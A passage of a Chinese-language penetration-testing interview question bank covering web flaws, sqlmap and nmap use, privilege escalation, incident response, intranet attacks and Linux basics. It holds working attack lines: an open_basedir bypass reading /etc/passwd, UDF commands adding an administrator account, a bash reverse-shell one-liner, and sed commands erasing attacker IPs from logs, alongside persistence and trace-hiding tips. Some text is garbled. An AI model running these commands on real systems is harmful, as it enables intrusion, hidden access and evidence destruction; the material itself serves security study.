ini_set(‘open_basedir’,’..’); > chdir(‘..’); > chdir(‘..’); > chdir(‘..’); > chdir(‘..’); > ini_set(‘open_basedir’,’/‘); > var_dump(file_get_contents(“/etc/passwd”)); > glob伪协议 > <?php > $a = “glob:///var/www/test/.txt”; > if ( $b = opendir($a) ) { > while ( ($file = readdir($b)) !== false ) { > echo “filename:”.$file.”\n”; > } > closedir($b); > } > ?> > > ##### 45.寻找网站径有哪几种方式和方法? > > ##### 46.如何让dom xss实现 存储型xss的效果 > > ##### 47.什么是条件竞争漏洞 > > ##### 48.绕过验证码有哪些思路 > 1.爆破 > 2.前端校验 > 3.生成的验证码会在请求包,前端生成性, 写出对应算法即可 > 4.万能验证码 000000 888888 8888888 > 5.删除验证码字段 > 6.不刷新 > 7.验证码可识别 > > ##### 49.XSS除了获取cookies还能干嘛 > > 获取服务器真实ip > xss蠕虫 > 钓鱼攻击 > 前端JS挖矿 > 获取键盘记录 > ##### 50.虚拟机逃逸 > > 虚拟机逃逸指的是突破虚拟机的限制,实现与宿主机操作系统交互的一个过程,攻击者可以通过虚拟机逃逸感染宿主机或者在宿主机上运行恶意软件。 > > ##### 51.CMS指纹规则 > > Website 官方网站 > JS文件 > Headers 匹配的请求头信息 > Cookies 匹配的cookies字段 > Version 版本信息 > Product 产品名称匹配 > Meta特征 > URI特征 > > #### 三、工具类 > ##### 1.reverse_tcp 和 bind_tcp 的区别 > > 答: > (1)reverse_tcp > 木马会主动连接目标服务器 > (2)bind_tcp > 木马会监听本地的端口 > > > ##### 2.你常用的渗透工具有哪些都知道那些渗透工具,最常用的是哪个? > > ##### 3.用什么扫描端口,目录 > > ##### 4.有没有写过tamper > > ##### 5.sqlmap,怎么对一个注入点注入? > 1)如果是get型号,直接,sqlmap -u "诸如点网址". > 2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data="post的参数" > 3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap > -r "文件地址" > > ##### 6.nmap扫描的几种方式 > > ##### 7.Appscan和AWVS的区别 > > ##### 8.nmap扫描全开放扫描跟半开放扫描的区别 > > ##### 9.为什么要用nmap半开放扫描 > > ##### 10.Sqlmap参数解析 > > -u 单个URL -m xx.txt 多个URL > -d "mysql://user:password@10.10.10.137:3306/dvwa" 作为服务器客户端,直接连接数据库 > --data post/get都适用 > -p 指定扫描的参数 > -r 读取文件 > -f 指纹信息 > --tamper 混淆脚本,用于应用层过滤 > --cookie --user-agent --host等等http头的修改 > --threads 并发线程 默认为1 > --dbms MySQL<5.0> 指定数据库或版本 > > –level=LEVEL 执行测试的等级(1-5,默认为 1) > –risk=RISK 执行测试的风险(0-3,默认为 1) Risk升高可造成数据被篡改等风险 > –current-db / 获取当前数据库名称 > –dbs 枚举数据库管理系统数据库 > –tables 枚举 DBMS 数据库中的表 > –columns 枚举 DBMS 数据库表列 > -D DB 要进行枚举的数据库名 > -T TBL 要进行枚举的数据库表 > -C COL 要进行枚举的数据库列 > -U USER 用来进行枚举的数据库用户 > > ##### 11.burpsuite爆破模块的四种模式 > > ##### 12.msf使用ms17-010攻击流程 > > ##### 13.为什么使用sqlmap的--cookie参数 > > ##### 14.nmap参数解析 > > nmap hostname/ip或者多个ip或者子网192.168.123.* > -iL ip.txt 扫描ip.txt的所有ip > -A 包含了-sV,-O,探测操作系统信息和路由跟踪。一般不用,是激烈扫描 > -O 探测操作系统信息 > -sV 查找主机服务版本号 > -sA 探测该主机是否使用了包过滤器或防火墙 > -sS 半开扫描,一般不会记入日志,不过需要root权限。 > -sT TCP connect()扫描,这种方式会在目标主机的日志中记录大批的链接请求以及错误信息。 > -sP ping扫描,加上这个参数会使用ping扫描,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping,却实际存在。 > -sN TCP空扫描 > -F 快速扫描 > -Pn 扫描之前不使用ping,适用于防火墙禁止ping,比较有用。 > -p 指定端口/端口范围 > -oN 将报告写入文件 > -v 详细信息 > -T<0-5> 设定速度 > > ##### 15.Burp suite的常用模块 > > ##### 16.sqlmap中的--os-shell和--sql-shell有什么区别 > > ##### 17.nmap --script检测到漏洞如何发到msf利用 > > ##### 18.Mimikat抓密码的原理 > > ##### 19.不用mimikatz怎么抓明文密码? > > ##### 20.Server12限制了抓取明文密码,怎么绕过 > > ##### 21.regorge有过了解吗。他的工作原理是什么 > > ##### 22. > > > #### 四、提权类型 > ##### 1.提权时选择可读写目录,为何尽量不用带空格的目录? > 因为exp执行多半需要空格界定参数 > ##### 2.UDF提权原理 > 答:利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库,导出 udf.dll 文件后,我们就可以直接在命令框输入 cmd > ##### 3.提权方式都有那些 > 答: > windows: > 1.systminfo ,根据系统补丁提权 > 2.第三方服务提权 > 3.数据库提权 > 。。。 > linux: > 1.利用系统内核漏洞进行提权 > 2.泄漏密码提权 > 3.sudo提权 > 4.SUID提权 > 。。。 > ##### 4.Windows cmd 如何下载文件 > > 答: > 1.certutil.exe > 2.powershell > 3.bitsadmin > 4.vbs > 5.ftp > ##### 5.mysql有几种提权方式? > > 1.mof提权 > 原理 > 在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。 > 利用条件 > mysql用户具有root权限(对上面那个目录可写) > 关闭了secure-file-priv > 利用方式 > 下面是一段写好了的mof利用代码 > 2.udf提权 > 原理 > UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限 > 利用条件 > Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。 > Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。 > 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限 > 其它账号也可以。 > 可以将udf.dll写入到相应目录的权限。 > 注:关于plugin目录,可在mysql中执行 > show variables like '%plugin%'; > 进行查看,这个目录也就是dll文件需要导入的目录 > 利用方式 > 将dll文件导入到相应目录,如果导入错误会产生can`t open shared library错误 > 创建自定义函数 > create function cmdshell returns string soname 'udf.dll'; > select cmdshell('net user miao zjicmisa.org /add'); > select cmdshell('net localgroup administrators miao /add'); > drop function cmdshell; 删除函数 > delete from mysql.func where name='cmdshell' 删除函数 > 注意这里的函数名应该与dll文件中的函数名一致。 > > > ##### 6.mssql 删除xp_cmdshell 怎么提权 > > ##### 7.Windows提权漏洞有哪些 > > ##### 8.Windows怎么提权 > > ##### 9.缓冲区溢出漏洞 如何降低权限 > > ##### 10.mssql的提权方式,提权原理是什么,用sa用户提权的前提条件,不是sa用户可否提权 > > ##### 11.SQL server的提权,除了xp_cmdshell还有什么 > > ##### 12.提权的原理 > > ##### 13.如何拿到管理员密码 > > ##### 14.拿到管理员密码是加密的怎么办 > > ##### 15.如何拿到管理员密码被加密解不开怎么办 > > > > > > #### 五、应急响应类型 推荐吧 :[https://github.com/Bypass007/Emergency-Response-Notes](https://github.com/Bypass007/Emergency-Response-Notes) > 读完不然。。 > ##### 1.应急响应如何查找挖矿病毒,如何通过进程找到挖矿文件 > > (1)任务管理器netstat -anp寻找异常进程PID看端口信息,然后根据端口信息定位到文件,cd /proc/PID (ls -l查看禁用可疑的服务项。 > (2)windows还可以用wmic分析进程参数 > ##### 2.找一类你最擅长的漏洞,谈下绕过漏洞修复后的方案? > > ##### 3.ddos如何防护 > > 开启防火墙,添加cdn,服务端只接受CDN清洗后的流量其他丢弃或者不接受 > ##### 4.DDOS原理 > > 1、DDOS原理 > 利用合理的请求造成资源过载,导致服务不可用 > syn洪流的原理 > 伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。 > CC攻击原理 > 对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。 > 2、DOSS防护 > SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”,并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。 > > ##### 5.流量分析 > > wireshark简单的过滤规则 > 过滤ip: > 过滤源ip地址:ip.src1.1.1.1;,目的ip地址:ip.dst1.1.1.1; > 过滤端口: > 过滤80端口:tcp.port80,源端口:tcp.srcport80,目的端口:tcp.dstport==80 > 协议过滤: > 直接输入协议名即可,如http协议http > http模式过滤: > 过滤get/post包http.request.mothod=="GET/POST" > 8、防火墙 > > ##### 6.遇到永恒之蓝怎么处理 > > ##### 7.应急响应的基本流程 > > ##### 8.linux系统被入侵后如何排查 > > ##### 9.Windwos系统被入侵后如何排查 > > ##### 10.操作系统system权限如何降权 > > ##### 11.应急响应如何查看进程、端口、服务 > > ##### 12.对于一个网站怎么防御 > > ##### 13.www目录下有一万个文件,里面有一个标准的webshell,eval函数,怎么查出是哪个文件 > > webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。 > > 黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件,是一个合法的TCP连接,TCP/IP的应用层之下没有任何特征,只能在应用层进行检测。黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。 > 静态检测 > > 静态检测通过匹配特征码,特征值,危险函数函数来查找webshell的方法,只能查找已知的webshell,并且误报率漏报率会比较高,但是如果规则完善,可以减低误报率,但是漏报率必定会有所提高。 > > 优点是快速方便,对已知的webshell查找准确率高,部署方便,一个脚本就能搞定。缺点漏报率、误报率高,无法查找0day型webshell,而且容易被绕过。 > > 静态检测配合人工 > > 一个检查工具 https://github.com/he1m4n6a/findWebshell > 动态检测 > > Linux下就是nobody用户起了bash,Win下就是IIS User启动cmd,这些都是动态特征。再者如果黑客反向连接的话,那很更容易检测了,Agent和IDS都可以抓现行。Webshell总有一个HTTP请求,如果我在网络层监控HTTP,并且检测到有人访问了一个从没反问过得文件,而且返回了200,则很容易定位到webshell,这便是http异常模型检测,就和检测文件变化一样,如果非管理员新增文件,则说明被人入侵了。 > > 缺点也很明显,黑客只要利用原文件就很轻易绕过了,并且部署代价高,网站时常更新的话规则也要不断添加。 > 日志检测 > > 使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。日志分析检测技术通过大量的日志文件建立请求模型从而检测出异常文件,称之为:HTTP异常请求模型检测。 > 语法检测 > > 实现关键危险函数的捕捉方式 > 统计学检测 > > webshell由于往往经过了编码和加密,会表现出一些特别的统计特征,根据这些特征统计学习。 典型的代表: NeoPI -- https://github.com/Neohapsis/NeoPI > 防范webshell > > https://blog.csdn.net/nohaoye/article/details/46987587 > > 防范的措施大概有三种,第一种的思路是将专门存放上传文件的文件夹里面的脚本类型文件,解析成其他类型的文件,服务器不会以脚本类型来执行它。第二种是匹配文件夹里的脚本类型文件,将其设置为无法读取及操作。第三种是将文件上传到一个单独的文件夹,给一个二级的域名,然后不给这个虚拟站点解析脚本的权限,听说很多网站都用这种方式。 > > ##### 14.遇到双写绕过你怎么防御 > > ##### 15.linux应急响应的步骤,思路,如何定位问题文件? > > ##### 16.如何查找有问题的进程 > > ##### 17.webshell检测思路 > > 静态检测 匹配特征码 > 动态检测 cmd bash等敏感应用异常启用 > 日志检测 HTTP异常请求模型检测 > 语法检测 关键危险函数的捕捉 > 计划任务 防止后门 > > ##### 18.日志分析ELK的使用和分析 > > > > https://www.zhihu.com/question/21427267 > > Elasticsearch是个开源分布式搜索引擎,它的特点有:分布式,零配置,自动发现,索引自动分片,索引副本机制,restful风格接口,多数据源,自动搜索负载等。 > Logstash是一个完全开源的工具,他可以对你的日志进行收集、过滤,并将其存储供以后使用(如,搜索)。 > Kibana 也是一个开源和免费的工具,它Kibana可以为 Logstash 和 ElasticSearch 提供的日志分析友好的 Web 界面,可以帮助您汇总、分析和搜索重要数据日志。 > > 举例-阿里规范 用户历史命令记录 > > 缺点:安全性不够。使用x-pack实现安全认证及权限管理功能 > > > > #### 六、内网渗透 > ##### 1.内网服务器,如何进行信息收集 > > 答: > (1)手动,用一些小工具(批量看存活) > new user /domain查域、net view看共享、hosts文件内网ip域名映射、wifi记录和密码、浏览器中的密码、敏感文件、各类服务的配置文件中信息、历史命令、ssh私钥、FTP的连接信息、xshell等ssh连接工具的session文件,3389连接历史和被连接历史信息、某些内网api接口未授权访问 > (2)扫描器 > 主机扫描、端口扫描、漏洞扫描、识别内网环境、密码爆破、抓密码 > (3)留后门,抓信息 > ##### 2.内网黄金票据、白银票据的区别和利用方式 > > 答: > (1)白银票据:抓取到了域控服务hash的情况下,在客户端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。 > 黄金票据:直接抓取域控中账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。 > (2)通过mimkatz执行,导出域控中账号的Hash > > ##### 3.ARP欺骗 > > 原理 > 每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能 > 防护 > 1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC > 2.在网关绑定主机MAC与IP地址 > 3.使用ARP防火墙 > ##### 4.端口转发所使用的工具 > > > ##### 5.内网渗透,无法连接外网,没有回显,获取数据 > > ##### 6.内网渗透 和 外网渗透的区别? > > ##### 7.内网渗透思路? > > ##### 8.讲一下域渗透 > > ##### 9.怎么拿到域控 > > ##### 10.永恒之蓝和0708攻击方式有什么区别 > > ##### 11.如果你现在已经进入内网,你会怎么进行下一步操作 > > ##### 12.怎么判断你所拿下主机是否是在域内 > > ##### 13.你有一个webshell但是无法执行系统命令,无法上传,怎么进行内网渗透? > > ##### 14.你是域成员,如何拿到域控制器 > > ##### 15.你横向渗透测试常用手法 > > ##### 16.你拿到了域控制器你会怎么样维持权限? > > ##### 17.工作组的情况下怎么横向移动 > > 工作组看情况来分析,有域的情况下往域跨,没域的情况下只能慢慢搞定其他工作组机器。视情况而定。因为工作组本来就是最难渗透的,不像域,统一集中管理统一认证。 > ##### 18.和目标不在同一个网段下,应该怎么突破 > > 那就跨网段渗透呗,看目标机器网段开了服务,看BANNER,看端口,找漏洞。切记内网中的迂回,且注意各种设备。 > > > > #### 七、操作系统类型 > ##### 1.TCP/IP协议 > > TCP三次握手的过程以及对应的状态转换 > (1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x; > (2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y; > (3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。 > TCP和UDP协议区别 > tcp面向连接,udp面向报文 tcp对系统资源的要求多 udp结构简单 tcp保证数据完整性和顺序,udp不保证 > https的建立过程 > a、客户端发送请求到服务器端 > b、服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在 > c、客户端验证证书和公开密钥的有效性,如果有效,则生成共享密钥并使用公开密钥加密发送到服务器端 > d、服务器端使用私有密钥解密数据,并使用收到的共享密钥加密数据,发送到客户端 > e、客户端使用共享密钥解密数据 > f、SSL加密建立 > ##### 2.SSL协议握手 > > ##### 3.SSL流量如何解密 > > ##### 4.伪协议是什么? > > > #### 八、红蓝对抗 > ##### 1.隐藏攻击痕迹的方法 > > 答: > 1.跳板VPN > 2.代理服务器 > 3.Tor > 4.日志 > 5.清除历史记录 > 6.粉碎文件 > 7.虚拟机操作 > 8.攻击包混淆以及加密 > 9.本机浏览器干净整洁最好是开启隐私模式 > 10.MAC地址修改。 > > ##### 2.清理日志要清理哪些 > > meterpreter: clearev > 入侵 Linux 服务器后需要清除哪些日志? > web日志,如apache的access.log,error.log。直接将日志清除过于明显,一般使用sed进行定向清除 > e.g. sed -i -e ‘/192.169.1.1/d’ > history命令的清除,也是对~/.bash_history进行定向清除 > wtmp日志的清除,/var/log/wtmp > 登录日志清除 /var/log/secure > LINUX > 查看当前端口连接的命令有哪些?netstat 和 ss 命令的区别和优缺点 > netstat -antp` `ss -l > ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。 > 反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么? > bash -i>&/dev/tcp/x.x.x.x/4444 0>&1 > 通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用? > ls /proc > 系统信息,硬件信息,内核版本,加载的模块,进程 > linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。 > /etc/ssh/sshd___configiptables配置 > 如何一条命令查看文件内容最后一百行 > tail -n 100 filename > Windows > 如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。 > > ##### 3.权限维持 > > 只要目标没有发现我们的攻击攻为,可以长久保持目标的可控性,都可以称为权限维持 > 一、windows系统 > msf权限维持模块-persistence > >  > > 影子账户 > 通过 &符号创建的用户使用net user命令看不到、可以通过注册表克隆的方式来做。 > > 映像劫持 > 映像劫持:简单的说法,就是当你打开的是程序A,而运行的确是程序B。 > userinit > 通过修改注册表调用powershell做到无文件落地,但是需要高权限。 > > 计划任务 > 添加win计划任务。 > > 二、linux系统 > 软连接 > ssh > 时间计划 > > 三、中间件 > mysql、mssql、php模块、IIS模块、nginx模块、系统自带组件。 > > 四、WebShell > 使用免杀加密流量加密,使用php内存马儿,无文件落地马儿。 > > ##### 4.鱼叉式攻击和水坑攻击 > > 鱼叉式钓鱼攻击一般通过电子邮件等电子通信方式进行,针对特定个人、组织或企业,窃取的资料信息更敏感更有价值。主要通过诱使点击恶意连接或者输入账号密码获取信息。 > 水坑攻击算是鱼叉攻击的延伸: > 攻击者定期观察受害者或特定团体经常访问的网站,然后用恶意软件感染这些网站。 > 然后寻找这些网站的漏洞,并将恶意编程代码(通常以JavaScript或HTML形式)注入到网站上显示的广告或横幅上。 > 然后恶意代码会将受害者重定向到存在恶意软件或恶意广告的网络钓鱼网站上。 > 当受害者访问这些网站时,受害者的计算机就会自动下载包含恶意软件的脚本。 > 然后恶意软件会收集受害者的个人信息,并将其发送给攻击者操作的C&C服务器。 > 其他的钓鱼方式: > 钓鱼WiFi、伪基站、钓鱼二维码、U盘钓鱼 > > > #### 九、免杀 > ##### 1.有哪几种常用的免杀方式? > > > > #### 十、移动安全类型 > ##### 1.小程序的渗透和普通渗透的差异 > > 1)微信小程序的包储存在本地的,只要是访问过微信小程序,他的包自动下载到本地 把wxapkg包下载到了本地,然后下载个解包工具,就可以得到小程序前端的代码 > 2)Proxifier代理客户端 安卓模拟器全局代理 > 3)常见支付宝和微信中 ios:推荐抓包工具Stream、网络三件套 安卓:推荐抓包工具package capture > 4)小程序未进行https证书强校验,所以用安卓手机配合burp即可进行抓包。 如果小程序开启了https证书强校验,那我们就需要hook微信或者反编译小程序后替换证书来绕过 > 5)微信pc端测试版 https://dldir1.qq.com/weixin/Windows/Beta/WeChat2.9.0_Beta.exe > 6)在线扫描:https://wetest.qq.com/console/miniapp/scan > > ##### 2.app本身的漏洞测试 四大组件 > > APP面临的主要风险可以分为客户端风险和服务端风险。 > 客户端风险又分为 > 传统逆向分析类(反编译、调试、四大组件漏洞、加密/签名破解…) 用户已经中招类(输入记录、导出组件、进程注入…)。 > 服务端风险又分为 > 系统组件类(MS12-020、ShellShock、心血、ST2…) 业务应用类(注入跨站越权执行上传下载弱口令…)。 > 安卓系统的四大组件: > Activity:呈现可供用户交互的界面,是最常见的组件; > Service:长时间执行后台作业,常见于监控类应用; > ContentProvider:在多个APP间共享数据,比如通讯录; > BroadcastReceiver:注册特定事件,并在其发生时被激活 > 组件测试工具-drozer > > > > > #### 十一、代码编程类型 > > ##### 1.文件上传漏洞有那些 防护方式。 > > > ##### 2.xss如何修复 > > ##### 3.python代码正则用那个包? > > ##### 4.用python实现https请求中的一些坑 > > ##### 5.使用python如何解析超过100个G的包 > > ##### 6.python爬虫的常见问题 > > 爬虫常用模块:requests、BeautifulSoup、lxml、re、xpath、selenium、 > 数据存储、txt/csv/mysql > Selenium(无界面浏览器)突破JS加密 > 传统爬虫多线程 现在提倡异步IO协程 异步IO模块主要有aiohttp、aiomysql、asyncio > 推荐的爬虫策略:爬取之后写入数据库,单独写提取、过滤办法 防止需求改了重新爬取 > 网络池解决增量爬取、断点续爬、去重 > GIL 全局解释器锁 为保证线程安全的资源锁 > > #### 十二、代码审计类 > ##### 1.struts2框架漏洞原理 > (1)struts是java的web框架 > (2)采取OGNL表达式,处理view层数据字符串到controller层转换成java对象 > (3)重点关注的编号加粗如下 > S2-057 影响范围非常小 > S2-048 影响范围非常小 > S2-046 和S2-045一样 > S2-045 影响范围较大----通过Content-Type这个header头,进而执行命令,通过Strus2对错误消息处理进行回显 > S2-037 影响范围小 > S2-032 影响范围小 > S2-020 影响范围小 > S2-019 影响范围一般 > S2-016 影响范围非常大 > S2-013 S2-016范围内 > S2-009 S2-016范围内 > S2-005 S2-016范围内 > ##### 2.JAVA反序列化原理 > 答: > (1)Java序列化指Java对象转换为字节序列的过程 > (2)Java反序列化指字节序列恢复为Java对象的过程 > (3) Commons-collections 爆出第一个漏洞开始,Java反序列化漏洞的事件就层出不穷。 > (4)在Java中,利用ObjectInputStream的readObject方法进行对象读取 > (5)可以深入了解 ysoserial有哪些gadgets > ##### 3.什么是fastjson,有哪些漏洞? > > 答: > (1)Fastjson是Alibaba开发的Java语言编写的高性能JSON库 > (2)攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE > (3)fastjson漏洞历史 > 1.fastjson-1.2.24 > (fastjson接受的JSON可以通过艾特type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作) > 2.fastjson-1.248以下 > (checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测) > 3.fastjson-1.2.60以下 > (在此版本以下,字符串中包含\x转义字符时可以造成dos漏洞) > > > ##### 4.描述一个你深入研究过的 CVE 或 POC。 > > > ##### 5.php代码审计列出常用的危险函数 > > 代码执行:eval, preg_replace+/e ,assert ,call_user_func ,call_user_func_array ,create_function > 文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), > fgets(),parse_ini_file(),show_source(),file()等 > 命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open() > ##### 6.代码执行和命令执行的区别 > > ##### 7.php代码审计的流程 > > ##### 8.php代码审计注意事项 > > ##### 9.文件包含的本地包含和远程包含如何getshell,有什么区别 > > > > #### 十三、操作系统基础类 这里是一些计算机的东西,可看可不看。 > ##### 1、Linux如何挂载windows下的共享目录? > > ``` mount.cifs //IP地址rver /mntrver -o > user=administrator,password=123456 > > linux 下的server需要自己手动建一个 后面的user与pass 是windows主机的账号和密码 注意空格 和逗号 ``` > > ##### 2、如何查看http的并发请求数与其TCP连接状态? > > ``` netstat -n | awk ‘/^tcp/ {++b[$NF]}’ END {for(a in b) print > a,b[a]}’ ``` ``` 还有ulimit -n > 查看linux系统打开最大的文件描述符,这里默认1024,不修改这里web服务器修改再大也没用。若要用就修改很几个办法,这里说其中一个: > > 修改/etccuritymits.conf > > * soft nofile 10240 > > * hard nofile 10240 > > 重启后生效 ``` > > ##### 3、如何用tcpdump嗅探80端口的访问看看谁最高?[ > > ``` tcpdump -i eth0 -tnn dst port 80 -c 1000 | awk -F”.” ‘{print > $1″.”$2″.”$3″.”$4″.”}’ | sort |uniq -c | sort -nr | head-5 ``` > > > > ##### 4、如何查看ar/log目录下的文件数? > > ``` ls ar/log/ -1R | grep “-” | wc -l ``` > > > > ##### 5、如何查看Linux系统每个ip的连接数? > > ``` netstat -n | awk ‘/^tcp/ {print $5}’ | awk -F: ‘{print $1}’ | sort > | uniq -c | sort -rn ``` > > ##### 6、shell下生成32位随机密码 > > ``` cat /dev/urandom | head -1 | md5sum | head -c 32 >> /pass ``` > > > > ##### 7、统计出apache的access.log中访问量最多的5个ip > > ``` cat access.log | awk ‘{print $1}’ | sort | uniq -c | sort -n -r | > head -5 ``` > > > > ##### 8、如何查看二进制文件的内容? > > ``` 我们一般通过hexdump命令 来查看二进制文件的内容。 > > hexdump -C XXX(文件名) -C是参数 不同的参数有不同的意义 > > -C 是比较规范的 十六进制和ASCII码显示 > > -c 是单字节字符显示 > > -b 单字节八进制显示 > > -o 是双字节八进制显示 > > -d 是双字节十进制显示 > > -x 是双字节十六进制显示 > > ``` > > > ##### 9、ps aux 中的VSZ代表什么意思,RSS代表什么意思? > > ``` VSZ:虚拟内存集,进程占用的虚拟内存空间 > > RSS:物理内存集,进程战用实际物理内存空间 > > ``` > > ##### 10、如何检测并修复/deva5? > > ``` fsck用来检查和维护不一致的文件系统。若系统掉电或磁盘发生问题,可利用fsck命令对文件系统进行检查 > > ``` > > > ##### 11、介绍下Linux系统的开机启动顺序 > > ``` 加载BIOS–>读取MBR–>Boot > Loader–>加载内核–>用户层init一句inittab文件来设定系统运行的等级(一般3或者5,3是多用户命令行,5是界面)–>init进程执行rc.syninit–>启动内核模块–>执行不同级别运行的脚本程序–>执行/etc/rc.d/rc.local(本地运行服务)–>执行/bin/login,就可以登录了。 > ``` > > > ##### 12、符号链接与硬链接的区别 > > ``` 我们可以把符号链接,也就是软连接 当做是 windows系统里的 快捷方式。 > > 硬链接 就好像是 又复制了一份,举例说明: > > ln 3.txt 4.txt 这是硬链接,相当于复制,不可以跨分区,但修改3,4会跟着变,若删除3,4不受任何影响。 > > ln -s 3.txt 4.txt 这是软连接,相当于快捷方式。修改4,3也会跟着变,若删除3,4就坏掉了。不可以用了。 ``` > > ##### 13、保存当前磁盘分区的分区表 > > ``` dd 命令是以个强大的命令,在复制的同时进行转换 > > dd if=/dev/sda of=./mbr.txt bs=1 count=512 ``` > > > > ##### 14、如何在文本里面进行复制、粘贴,删除行,删除全部,按行查找和按字母查找? > > ``` 以下操作全部在命令行状态操作,不要在编辑状态操作。 > > 在文本里 移动到想要复制的行 按yy 想复制到哪就移动到哪,然后按P 就黏贴了 > > 删除行 移动到改行 按dd > > 删除全部 dG 这里注意G一定要大写 > > 按行查找 :90 这样就是找到第90行 > > 按字母查找 /path 这样就是 找到path这个单词所在的位置,文本里可能存在多个,多次查 ``` > > > > ##### 15、手动安装grub > > ``` grub-install /dev/sda > > ``` > > > ##### 16、修改内核参数 > > ``` vi /etc/sysctl.conf 这里修改参数 > > sysctl -p 刷新后可用 ``` > > > > ##### 17、在1-39内取随机数 > > ``` expr $[RANDOM%39] +1 > > RANDOM随机数 > > %39取余数范围0-38 > > ``` > > > ##### 18、限制apache每秒新建连接数为1,峰值为3 > > ``` 每秒新建连接数 一般都是由防火墙来做,apache本身好像无法设置每秒新建连接数,只能?????????????? > > iptables -A INPUT -d 172.16.100.1 -p tcp –dport 80 -m limit –limit > 1cond -j ACCEPT > > ``` > > > ##### 19、FTP的主动模式和被动模式 > > ``` FTP协议有两种工作方式:PORT方式和PASV方式,中文意思为主动式和被动式。 > PORT(主动)方式的连接过程是:客户端向服务器的FTP端口(默认是21)发送连接请 > 求,服务器接受连接,建立一条命令链路。当需要传送数据时,客户端在命令链路上用PORT > 命令告诉服务器:“我打开了XX端口,你过来连接我”。于是服务器从20端口向客户端的 XX端口发送连接请求,建立一条数据链路来传送数据。 > PASV(被动)方式的连接过程是:客户端向服务器的FTP端口(默认是21)发送连接请 > 求,服务器接受连接,建立一条命令链路。当需要传送数据时,服务器在命令链路上用PASV > 命令告诉客户端:“我打开了XX端口,你过来连接我”。于是客户端向服务器的XX端口 发送连接请求,建立一条数据链路来传送数据。 > 从上面可以看出,两种方式的命令链路连接方法是一样的,而数据链路的建立方法就完 全?????? ``` > > ##### 20、显示/etc/inittab中以#开头,且后面跟了一个或者多个空白字符,而后又跟了任意非???????????? > > ``` grep “^#\{1,\}[^]” /etc/inittab ``` > > > > ##### 21、显示/etc/inittab中包含了:一个数字:(即两个冒号中间一个数字)的行 > > ``` grep “\:[0-9]\{1\}:” /etc/inittab ``` > > > > ##### 22、怎么把脚本添加到系统服务里,即用service来调用? > > ``` 在脚本里加入 > #!/bin/bash > # chkconfig: 345 85 15 > # description: httpd 然后保存 chkconfig httpd –add 创建系统服务 现在就可以使用service 来 start or restart > > ``` > > > ##### 23、写一个脚本,实现批量添加20个用户,用户名为user01-20,密码为user后面跟5个随机字符 ``` > #!/bin/bash > #description: useradd for i in `seq -f”%02g” 1 20`;do useradd user$i echo “user$i-`echo $RANDOM|md5sum|cut -c 1-5`”|passwd –stdinuser$i > >/dev/null 2>&1 done ``` > ##### 